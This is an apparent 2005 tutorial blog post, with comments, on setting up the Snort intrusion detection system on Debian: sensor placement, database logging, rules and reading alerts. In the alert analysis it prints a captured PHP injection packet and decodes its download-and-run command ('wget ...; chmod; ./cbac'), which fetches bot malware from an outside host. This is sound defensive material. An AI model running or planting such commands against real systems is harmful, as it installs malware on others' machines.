Using the 'snort' Intrusion Detection System

Posted by jamesriden on Mon 26 Dec 2005 at 12:04

Snort is the leading open source Network Intrusion Detection System and is a valuable addition to the security framework at any site. Even if you are employing lots of preventative measures, such as firewalling, patching, etc., a detection system can give you an assurance that your defences truly are effective, or if not, will give you valuable information about what you need to improve.

Fortunately, there is a good set of snort packages for Debian which takes a lot of the tedious work out of building a useful Network Intrusion Detection System. Before we start on installation, we should review a few details about the networking satack that you're going to need to make sense of the alerts snort will generate. Impatient readers and those who are familiar with the TCP/IP suite of protocols may do now skip to the bit that says Stand alone snort.

Sensor placement and hardware

We'll assume that you're using TCP/IP over Ethernet; the first thing to consider is where you want to place your snort sensors. Some people like to put a sensor outside their firewall - this has the advantage that you can spot attempted attacks that your firewall is blocking - if you have time to wade through all the alerts that is. For this reason, others prefer to place the sensor behind the firewall; after all, it's an intrusion detection sensor, and you only need to consider packets that make it past your firewall. It's also good to position the sensor to see as much of the internal traffic as possible, as viruses and worms often send out large amounts of traffic to the local subnet. If your network has a few large routers, try to attach the sensor to a SPAN port on one of these to start with - but beware of possible performance degradation on some older devices. (SPAN stands for some cute collection of words designed to have the acronym 'SPAN' - it mirrors traffic seen on the rest of the router's interfaces and aggregates it to a single interface. You will usually only be able to listen and not transmit.) If not, attach it to a hub so you can at least see all the traffic going in and out of your Internet connection. Any worms which are guessing addresses to infect will end up sending the vast majority of packets along the default route, out of your network and so will be observed by your IDS.

As to hardware, a newish machine with a 1.5GHz processor and two decent network cards will cope quite happily with a 100Mb/s feed. RTL8139 cards are OK, cards based on the TG3 chipset are better, but you can build a prototype with whatever you have lying around. Suppose we decide that eth0 will be the monitoring port and that eth1 will be for the control interface. Ideally eth1 would be on a totally separate network, but if you make sure the machine is fairly secure there should be no problem with plugging this into the normal internal network. The idea is that we can use SSH to administer the sensor via eth1 while it is analysing data seen on eth0. To do this we bring eth0 up with no IP address -

ifconfig eth0 up
- and snort puts it into promiscuous mode when it runs. (Promiscuous mode means that the network card is configured to receive all frames, not just those which are addressed to it. It is generally a bad sign on any machine which is not meant to be a NIDS. A 'frame' is the layer two equivalent of a layer three 'packet'.)

Network 'layers

A quick digression on layers two through four of the OSI model. Layer two is Ethernet which sends parcels of up to 1500 bits over the wire. The figure 1500 is known as the Maximum Transfer Unit (MTU) for obvious reasons - it can take on different values for other technologies such as dialup/PPP, ATM and over VPN tunnels. Contained in these parcels ('frames') are the source and destination MAC addresses of the Ethernet cards which are having the conversation. A MAC address should be unique to the card, but in these days of programmable firmware, is not always. A MAC address is 48 bits long and looks like '00:0a:d0:12:34:56'. Ethernet is not routable - that is the addresses do not have structure corresponding to the network topology, so are only good for the local segment. Ethernet is a broadcast medium, which relies on network cards only paying attention to packets with their MAC addresses in, hence the promiscuous mode behaviour used to capture all the frames. Layer three is the Internet Protocol, which deals with IP addresses such as 10.0.0.1. The Address Resolution Protocol (ARP) is used to map IP addresses to MAC addresses - a typical ARP packet looks like 'Who has 10.0.0.1? Tell 01:23:45:67:89:ab'. Internet Protocol is routable, so we could expect 10.0.0.2 to be 'near' to 10.0.0.3 for instance, which 192.168.0.1 might be far away from both. Layer four deals with transport, both connection-oriented (Transport Control Protocol or TCP) and not (User Datagram Protocol or UDP). TCP marries the IP address with a port number between 0 and 65535 - for instance a mail server might be listening on TCP port 25 on IP address 10.0.0.1 - usually written more succinctly as 10.0.0.1:25.

Other protocols you will need to be aware of are Internet Control Message Protocol (ICMP) and the Domain Name System (DNS). ICMP acts as a kind of signalling mechanism - for instance when a packet is too large to go over a particular link, a router will send an ICMP message indicating the packet needs to be broken up. The 'ping' utility also makes use of ICMP messages (Echo Request and Echo Reply) to determine whether a particular IP address is alive. DNS deals with the mapping between human-readable names such as www.google.com and, well, whatever IP address google lives at.

Standalone snort

To install snort, simply type:

apt-get install snort

at a root prompt. This may be simplest if you're new to snort and want to have a play with it before you get in too deep. Otherwise, you can log the alerts to a database instead.

Snort and PostgreSQL

apt-get install snort-pgsql

You will be asked:

  • When should snort be started? Boot for most people
  • On which interface should snort listen? eth0
  • Network? any
  • Should snort disable promiscuous mode? No
  • Should snort's rules testing order be changed to Pass|Alert|Log? Yes
  • Leave the rest as their defaults, except give the database as 'snort_db' and the user as 'snort', and give a password.

For some reason, I never get this bit right, so often I end up manually creating the database, a user and granting the necessary rights. You may need to do this if you're like me:

# su postgres
$ createdb snort_db
$ zcat /usr/share/doc/snort-pgsql/create_postgresql.gz | psql -d snort_db
$ psql -d snort_db
snort_db=# CREATE USER snort WITH PASSWORD 'password' ;
snort_db=# GRANT ALL ON DATABASE snort_db TO snort ;
snort_db=# \d

.. postgres prints a list of tables - data, detail, ... uphdr ..

snort_db=# GRANT ALL ON TABLE data, detail ... uphdr TO snort_user ;
snort_db=# \q

Please, please remember to put a good password instead of 'password' throughout. The corresponding line of /etc/snort.conf should look like this:

output database: log, postgresql, user=snort password=password dbname=snort_db host=127.0.0.1 

You may need to edit /var/lib/postgres/data/pg_hba.conf also, if you're having problems with the identd lookup - given that there are no local users, you can safely change:

host    all         all         127.0.0.1         255.255.255.255   ident sameuser

to

host    all         all         127.0.0.1         255.255.255.255   trust

Now, try

/etc/init.d/snort start
- if all goes well, there should be snort process running, and the end of /var/log/daemon.log should have a lot of snort stuff in it, including something like this:

Dec  8 20:13:14 localhost snort: Snort initialization completed successfully (pid=4278) 

If it hasn't worked, there will be no snort process, and you'll have something like this instead:

Dec 8 19:46:53 localhost snort: FATAL ERROR: When this plugin starts, a SELECT 
query is run to find the sensor id for the currently running sensor. If the sensor 
id is not found, the plugin will run an INSERT query to insert the proper data and 
generate a new sensor id. Then a SELECT query is run to get the newly allocated 
sensor id. If that fails then this error message is generated.  Some possible causes
for this error are: * the user does not have proper INSERT or SELECT privileges * 
the sensor table does not exist If you are_absolutely_ certain that you have the 
proper privileges set and that your database structure is built properly please let 
me know if you continue to get this error. You can contact me at (roman AT 
danyliw.com).  

There are lots of snort HOW-TOs around on configuring and using front ends such as BASE and ACID together with database logging. 'acidlab' is the Debian package for stable, though I recommend 'acidbase' which is a fork of the ACID code and only available on testing and unstable.

Snort rules

How does snort know what's nasty and what's OK? Well, in /etc/snort/snort.conf there is a line 'include $RULE_PATH/sql.rules' and in /etc/snort/rules/sql.rules, there is the following line:

alert udp $EXTERNAL_NET any -> $HOME_NET 1434 (msg:"MS-SQL Worm
 propagation attempt"; \ content:"|04|"; depth:1; content:"|81 F1 03
 01 04 9B 81 F1 01|"; content:"sock"; content:"send"; \
 reference:bugtraq,5310; reference:bugtraq,5311;
 reference:cve,2002-0649; reference:nessus,11214; \
 reference:url,vil.nai.com/vil/content/v_99992.htm;
 classtype:misc-attack; sid:2003; rev:8;)

Phew! There are many guides to writing snort rules, such as the one at the snort website, so I won't dwell on them too much here. This one generates alerts when a UDP packet going from $EXTERNAL_NET to $HOME_NET with destination port 1434 has particular contents in it. The references are for us, not snort and give sources of information on the attack. The classtype is the general type of the alert, and the sid and rev serve to uniquely identify this particular alert. This rule is triggered by the fairly infamous Slammer (or Sapphire) worm that attacks unpatched MSSQL servers.

Obviously, if you don't have any MSSQL servers, you can trim this rule out. Except that someone might have installed MSDE (a cut-down version of MSSQL) with a third party application, and you would never know until something went wrong. So think carefully before removing rules that you "won't ever need".

The Bleeding Edge Rules

This is a third-party collection of slightly more experimental rules, kept at http://www.bleedingsnort.com. It's well worth downloading these and adding useful ones into your snort.conf file.

cd /etc/snort/rules
wget https://www.bleedingsnort.com/bleeding.rules.tar.gz
tar zxf bleeding-rules

Then add 'include $RULE_PATH/bleeding-all.rules' into your /etc/snort.conf and do a /etc/init.d/snort restart to restart snort. Don't forget to check /var/log/daemon to make sure snort has started correctly.

The alerts file

The file /var/log/snort/alerts records all the alerts snort generates. Let's take a look at some alerts hot off the Internet. Here, 72.232.aa.bb is my server, and 66.147.xxx.yy is the suspect machine.

[**] [1:2001621:10] BLEEDING-EDGE Exploit Suspected PHP Injection Attack [**]
[Classification: A Network Trojan was detected] [Priority: 1] 
12/24-06:54:03.757015 66.147.xxx.yy:59330 -> 72.232.aa.bb:80
TCP TTL:50 TOS:0x0 ID:23969 IpLen:20 DgmLen:309 DF
***AP*** Seq: 0xB00D311F  Ack: 0x6C3F770A  Win: 0x1C84  TcpLen: 20
[Xref =>  cve 2002-0953]

In the default configuration of snort, the options are stored here:

$ cat /etc/default/snort
# Parameters for the daemon
PARAMS="-m 027 -D -d "
# Logging directory
LOGDIR="/var/log/snort"
# Snort user
SNORTUSER="snort"
# Snort group
SNORTGROUP="snort"

The -d option asks snort to log packet dumps as well as alerts, so we can check out the packet dump file as follows. -tttt causes the full timestamp to be output, -X means print a full packet dump, and -r asks tcpdump to read from the given capture file. See man tcpdump for more info.

$ tcpdump -tttt -X -r /var/log/snort/tcpdump.log.1135358710
..
2005-12-23 17:54:04.664250 IP suspect.example.com.59431 > nice.example.com.www: P 3251878904:3251879182(278) ack 1814956897 win 7300
        0x0000:  4500 013e 60f0 4000 3206 c7e3 4293 7521  E..>`.@.2...B.u!
        0x0010:  48e8 1e4a e827 0050 c1d3 bbf8 6c2e 0b61  H..J.'.P....l..a
        0x0020:  5018 1c84 e84c 0000 4745 5420 2f6d 6f64  P....L..GET./mod
        0x0030:  756c 6573 2f63 6f70 7065 726d 696e 652f  ules/coppermine/
        0x0040:  7468 656d 6573 2f64 6566 6175 6c74 2f74  themes/default/t
        0x0050:  6865 6d65 2e70 6870 7468 656d 652e 7068  heme.phptheme.ph
        0x0060:  703f 5448 454d 455f 4449 523d 6874 7470  p?THEME_DIR=http
        0x0070:  3a2f 2f32 3039 2e31 3336 2ecc cc2e dddd  ://209.136.cc.dd
        0x0080:  2f63 6d64 2e67 6966 3f26 636d 643d 6364  /cmd.gif?&cmd=cd
        0x0090:  2532 302f 746d 703b 7767 6574 2532 3032  %20/tmp;wget%202
        0x00a0:  3039 2e31 3336 2ecc cc2e dddd 2f63 6261  09.136.cc.dd/cba
        0x00b0:  633b 6368 6d6f 6425 3230 3734 3425 3230  c;chmod%20744%20
        0x00c0:  6362 6163 3b2e 2f63 6261 633b 6563 686f  cbac;./cbac;echo
        0x00d0:  2532 3059 5959 3b65 6368 6f7c 2048 5454  %20YYY;echo|.HTT
        0x00e0:  502f 312e 310d 0a48 6f73 743a 2037 322e  P/1.1..Host:.72.
        0x00f0:  3233 322e aaaa 2ebb 34bb 0a55 7365 722d  232.aa.bb..User-
        0x0100:  4167 656e 743a 204d 6f7a 696c 6c61 2f34  Agent:.Mozilla/4
        0x0110:  2e30 2028 636f 6d70 6174 6962 6c65 3b20  .0.(compatible;.
        0x0120:  4d53 4945 2036 2e30 3b20 5769 6e64 6f77  MSIE.6.0;.Window
        0x0130:  7320 4e54 2035 2e31 3b29 0d0a 0d0a       s.NT.5.1;)....

This is a packet from 66.147.xxx.yy:59330 (suspect.example.com) to 72.232.aa.bb:80 (nice.example.com) which is attempting to exploit some PHP issue or other. Some php code doesn't do sufficient input validation and allows commands to be injected via HTTP requests. Above, we see that the packet would cause a vulnerable host to do a:

wget 209.136.cc.dd/cbac; chmod 744 cbac ; ./cbac

which we can assume would not be a good thing. After noticing this, I did a manual wget of the file, which in turn downloaded two others. They turned out to be some bot-type malware, according to the nice folks at AusCERT. So what countermeasures could you take? The most obvious is to not run the vulnerable php code. Secondly, you can rename or remove the wget executable, and tftp while you're at it. Thirdly, you can mount /tmp with no execute permission - see the 'noexec' option to mount.

UPDATE

Possibly this malware is the same as Bots: they are not just for Windows any more.

What now?

Watch the traffic on your network, get to know it and tweak your rulesets so that they don't generate too much noise. Join the snort-sigs list if you're feeling really keen and want to start writing some signatures of your own. Read the snort docs. And remember, Google is your friend.

Please note! If you do not own your network, your system administrators may have strong views on you using a network card in promiscuous mode. Please check with them first!

Comments to jamesr AT europe.com please, I'm away until mid January 2006.

References

 

 


Posted by Anonymous (80.58.xx.xx) on Mon 26 Dec 2005 at 12:38

To place the network interface into promiscuous, stealth mode use:

ifconfig eth0 up
ifconfig eth0 -arp

[ Parent | Reply to this comment ]

Posted by Anonymous (86.49.xx.xx) on Mon 26 Dec 2005 at 20:14
The ifconfig utility is obsolete since 1992 or so (?), thus:
ip link set eth0 up
ip link set eth0 arp on

[ Parent | Reply to this comment ]

Posted by Steve (82.41.xx.xx) on Mon 26 Dec 2005 at 20:57
[ View Steve's Scratchpad | View Weblogs ]

It might be obsolete, but people like me know it well and will continue to use it as long as it is available!

Steve

[ Parent | Reply to this comment ]

Posted by ajt (204.193.xx.xx) on Wed 28 Dec 2005 at 12:37
[ View Weblogs ]
I'm not familiar with this tool, how about a nice introductory article?

http://www.policyrouting.org/iproute2.doc.html
http://linux-net.osdl.org/index.php/Iproute2

--
"It's Not Magic, It's Work"
Adam

[ Parent | Reply to this comment ]

Posted by shufla (83.22.xx.xx) on Mon 26 Dec 2005 at 13:16
Hi,

I think that better is to use:

host all all 127.0.0.1 255.255.255.255 md5

It'll add password based auth for local users.

Best regards,
Luke

[ Parent | Reply to this comment ]

Posted by Anonymous (85.216.xx.xx) on Tue 27 Dec 2005 at 14:07
I would recommend using oinkmaster for regularily updating your rules, since attacks develop, forgetting a snort sensor with old rules is not a good idea.

Also, consider using snort-inline. If snort can detect the attack, why not also stop it? This is what snort-inline does -- it converts snort from intrusion detection to intrusion prevention system.

Who reads the logs anyways? (especially if you are looking on the internet side of things).

Any idea of how to make snort look at only those packets, that actually make it through firewall if you have only one interface (say eth0) connected directly into the internet? Sometimes you have a lonely server on the internet...

[ Parent | Reply to this comment ]

Posted by Anonymous (213.216.xx.xx) on Wed 28 Dec 2005 at 22:29
Who reads logs? Programs like logcheck read logs and trip some alarms, mail you or otherwise come pull your sleeve if they find something you might want to see. :)

[ Parent | Reply to this comment ]

Posted by simonw (212.24.xx.xx) on Wed 4 Jan 2006 at 16:57
[ View Weblogs ]
Hmm, the Debian Sarge oinkmaster falls over "Error 404" if I;

apt-get install oinkmaster
oinkmaster -o /etc/snort/rules

This is not good karma.....

I'll go look for bug reports unless someone explains what to do here first.

[ Parent | Reply to this comment ]

Posted by Anonymous (65.96.xx.xx) on Thu 16 Feb 2006 at 18:08
Did anybody have luck with the acidbase or acidlab packages?

I'd like to install a front end to view snort logs easier.

[ Parent | Reply to this comment ]

Posted by Anonymous (134.50.xx.xx) on Wed 9 Aug 2006 at 17:18
I have snort_inline version 2.4.5 installed and running on a Debian installation with the Linux-2.6.15-1-486 kernel. I have configured my 2 NICs as a virtual bridge and am passing traffic from my test network through the virtual bridge to the outside. The problem is that snort_inline appears not to see any of the traffic. For example, I have set up a test rule to drop all http traffic on port 80, but I can still access webpages and snort_inline reports seeing no activity. I'm not sure whether the problem is with snort_inline or if iptables is failing to send packets to QUEUE. Has anyone else had this problem? Any help would be greatly appreciated.

[ Parent | Reply to this comment ]

Posted by Anonymous (200.10.xx.xx) on Thu 25 Jan 2007 at 15:28
are you sure you setup the interface correctly ?

[ Parent | Reply to this comment ]

Posted by Anonymous (202.170.xx.xx) on Sat 28 Apr 2007 at 14:41
hi,

i tried installing snort_inline on my Debian Etch.
i did installed libdnet and libdnet-dev using apt-get.

however i unable to compile the snort-inline (since it was not provided as debian's binary).

I got this error

ERROR! Libdnet header not found, go get it from
http://libdnet.sourceforge.net or use the --with-dnet-*
options, if you have it installed in an unusual place


mail me at najmi dot zabidi at gmail dot com

[ Parent | Reply to this comment ]

Posted by mnajem (202.170.xx.xx) on Sat 28 Apr 2007 at 16:23
this was my post previously.just registered.
please guide me, thanks.

[ Parent | Reply to this comment ]

Sign In

Username:

Password:

[Register|Advanced]

 

Flattr

 

Current Poll

What do you use for configuration management?








( 470 votes ~ 5 comments )

 

 

Related Links